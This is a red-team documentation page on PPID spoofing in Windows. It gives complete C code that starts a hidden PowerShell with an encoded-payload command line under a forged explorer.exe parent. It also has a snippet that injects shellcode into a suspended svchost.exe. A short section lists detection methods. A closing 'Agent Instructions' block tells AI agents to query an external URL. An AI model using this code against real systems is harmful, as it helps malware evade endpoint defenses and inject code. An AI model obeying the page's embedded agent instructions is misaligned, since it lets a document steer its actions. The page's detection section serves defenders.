# PPID Spoofing — Forging the Process Tree

### Why the Process Tree Matters

One of the simplest and most effective forms of malicious behavior detection is analysis of parent-child relationships between processes. EDRs and SIEMs build rules around what is "normal" for a process tree:

* `winword.exe` should never spawn `cmd.exe` directly
* `explorer.exe` is the expected parent of interactive applications
* `lsass.exe` should not have children
* `powershell.exe` spawned by `mshta.exe` is highly suspicious

When an attacker executes `cmd.exe` after exploiting an Office document, the system records `WINWORD.EXE (PID 1234) → cmd.exe (PID 5678)` — a trivially suspicious relationship.

**PPID Spoofing** (parent process ID forgery) allows creating a process with an arbitrary PPID, making it appear to have been spawned by any legitimate process — `explorer.exe`, `svchost.exe`, or any other.

```
┌──────────────────────────────────────────────────────────────────────┐
│              Process Tree: Real vs. Spoofed                          │
│                                                                      │
│  WITHOUT PPID SPOOFING:                                              │
│  explorer.exe (1234)                                                 │
│  └── WINWORD.EXE (5678)                                              │
│      └── powershell.exe (9012)  ← SUSPICIOUS — child of Word        │
│          └── mimikatz.exe (1111)                                     │
│                                                                      │
│  WITH PPID SPOOFING:                                                 │
│  explorer.exe (1234)                                                 │
│  ├── WINWORD.EXE (5678)         ← real parent (invisible to EDR)   │
│  └── powershell.exe (9012)  ← appears as legitimate child of        │
│      └── mimikatz.exe (1111)      explorer                           │
│                                                                      │
│  The EDR sees PowerShell as a legitimate child of explorer.         │
└──────────────────────────────────────────────────────────────────────┘
```

***

### The Mechanism: UpdateProcThreadAttribute

The `CreateProcess` API accepts an extended attributes structure (`LPPROC_THREAD_ATTRIBUTE_LIST`) that allows, among other things, specifying an alternative "parent process handle" via `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS`.

When this attribute is set, the kernel registers the child process with the PPID of the process referenced by the handle — not with the PPID of the process that called `CreateProcess`.

***

### Implementation

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Find a process PID by name
DWORD GetPidByName(const char* processName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
    if (!Process32First(hSnap, &pe)) {
        CloseHandle(hSnap);
        return 0;
    }

    do {
        if (_stricmp(pe.szExeFile, processName) == 0) {
            CloseHandle(hSnap);
            return pe.th32ProcessID;
        }
    } while (Process32Next(hSnap, &pe));

    CloseHandle(hSnap);
    return 0;
}

// Create a process with a spoofed PPID
BOOL CreateProcessWithSpoofedPPID(
    const char* targetExe,
    const char* cmdLine,
    const char* fakePPIDName,
    PROCESS_INFORMATION* pi
) {
    // 1. Find the PID of the process that will appear as parent
    DWORD fakePPID = GetPidByName(fakePPIDName);
    if (!fakePPID) {
        printf("[-] Fake parent process '%s' not found\n", fakePPIDName);
        return FALSE;
    }
    printf("[+] PID of '%s' (fake parent): %lu\n", fakePPIDName, fakePPID);

    // 2. Open a handle to the fake parent process
    // PROCESS_CREATE_PROCESS is required to use it as a parent
    HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fakePPID);
    if (!hFakeParent) {
        printf("[-] Failed to open parent process: %lu\n", GetLastError());
        return FALSE;
    }

    // 3. Initialize the process/thread attribute list
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);

    LPPROC_THREAD_ATTRIBUTE_LIST attrList =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
            GetProcessHeap(), 0, attrSize
        );
    if (!attrList) {
        CloseHandle(hFakeParent);
        return FALSE;
    }

    if (!InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize)) {
        HeapFree(GetProcessHeap(), 0, attrList);
        CloseHandle(hFakeParent);
        return FALSE;
    }

    // 4. Set the parent process attribute
    if (!UpdateProcThreadAttribute(
        attrList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 0x00020000
        &hFakeParent,
        sizeof(HANDLE),
        NULL, NULL
    )) {
        printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
        DeleteProcThreadAttributeList(attrList);
        HeapFree(GetProcessHeap(), 0, attrList);
        CloseHandle(hFakeParent);
        return FALSE;
    }

    // 5. Create the process with the spoofed PPID
    STARTUPINFOEXA si = {0};
    si.StartupInfo.cb  = sizeof(si);
    si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
    si.StartupInfo.wShowWindow = SW_HIDE;
    si.lpAttributeList = attrList;

    memset(pi, 0, sizeof(*pi));

    char cmdLineBuf[1024];
    snprintf(cmdLineBuf, sizeof(cmdLineBuf), "%s", cmdLine);

    BOOL result = CreateProcessA(
        targetExe,
        cmdLineBuf,
        NULL, NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
        NULL, NULL,
        (LPSTARTUPINFOA)&si,
        pi
    );

    // 6. Cleanup
    DeleteProcThreadAttributeList(attrList);
    HeapFree(GetProcessHeap(), 0, attrList);
    CloseHandle(hFakeParent);

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created: PID %lu, apparent PPID: %lu (%s)\n",
           pi->dwProcessId, fakePPID, fakePPIDName);
    return TRUE;
}

int main(void) {
    PROCESS_INFORMATION pi;

    // Execute powershell.exe appearing as a child of explorer.exe
    if (CreateProcessWithSpoofedPPID(
        "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "powershell.exe -NoP -NonI -W Hidden -Enc <base64_payload>",
        "explorer.exe",
        &pi
    )) {
        printf("[+] Success! PowerShell running with explorer's PPID.\n");
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    return 0;
}
```

***

### Combining PPID Spoofing with Other Techniques

In practice, PPID Spoofing is almost always combined with other evasion techniques:

#### With Shellcode Injection

```c
// Create a suspended process with spoofed PPID, then inject shellcode
PROCESS_INFORMATION pi;
STARTUPINFOEXA si = {0};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attrList;  // Configured with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

CreateProcessA(
    "C:\\Windows\\System32\\svchost.exe",
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
    NULL, NULL,
    (LPSTARTUPINFOA)&si, &pi
);

// With the process suspended and PPID spoofed, inject shellcode
PVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, shellcode, shellcodeSize, NULL);

// Redirect main thread to shellcode
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)pRemote;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
```

#### With Command Line Spoofing

Beyond the PPID, we can also forge the command line of the process (visible in the PEB). This is done by writing directly to the PEB after process creation:

```c
// Create process with a fake command line (visible in Process Explorer)
// The real (malicious) command line is passed internally via shellcode
// Process appears as: "C:\Windows\System32\svchost.exe -k NetworkService"
// but actually executes something else
```

***

### Limitations and Modern Detections

```
┌──────────────────────────────────────────────────────────────────────┐
│         PPID Spoofing Limitations and Detection Vectors              │
│                                                                      │
│  1. Token/privilege inheritance                                      │
│     • The child process inherits the token of the process that       │
│       called CreateProcess, NOT the token of the "fake parent"       │
│     • This creates an inconsistency: PPID points to explorer but    │
│       the access token belongs to the attacker's process            │
│                                                                      │
│  2. Detection via event correlation                                  │
│     • Sysmon Event ID 1 records PPID via kernel ETW                 │
│     • EDRs correlate declared PPID against event history            │
│                                                                      │
│  3. Inconsistent user session                                        │
│     • If the fake parent is in a different session (e.g., session 0)│
│       and the child is in session 1, the inconsistency is detectable │
│                                                                      │
│  4. Sysmon Event 1 with ParentProcessGUID                           │
│     • Tracks GUIDs, not just PIDs                                   │
│     • PIDs can be recycled; GUIDs cannot                            │
│                                                                      │
│  5. OpenProcess with PROCESS_CREATE_PROCESS is logged               │
│     • Some EDR implementations monitor this access right            │
└──────────────────────────────────────────────────────────────────────┘
```

***

### References

* Elastic, "How PPID Spoofing Works" — elastic.co/security-labs (2020)
* ired.team, "Parent PID Spoofing" — ired.team/offensive-security
* MITRE ATT\&CK, "T1134.004 — Parent PID Spoofing" — attack.mitre.org
* Pentest Laboratories, "Spawning Processes with PPID Spoofing" — pentestlab.blog (2020)
* Will Burgess, "Detecting Parent Process Spoofing" — blog.f-secure.com (2019)
* Sysmon documentation, "Process Create (Event ID 1)" — docs.microsoft.com
* Red Team Notes, "PPID Spoofing in Cobalt Strike" — [www.redteamnotes.com](http://www.redteamnotes.com)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/ppid-spoofing-forging-the-process-tree.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
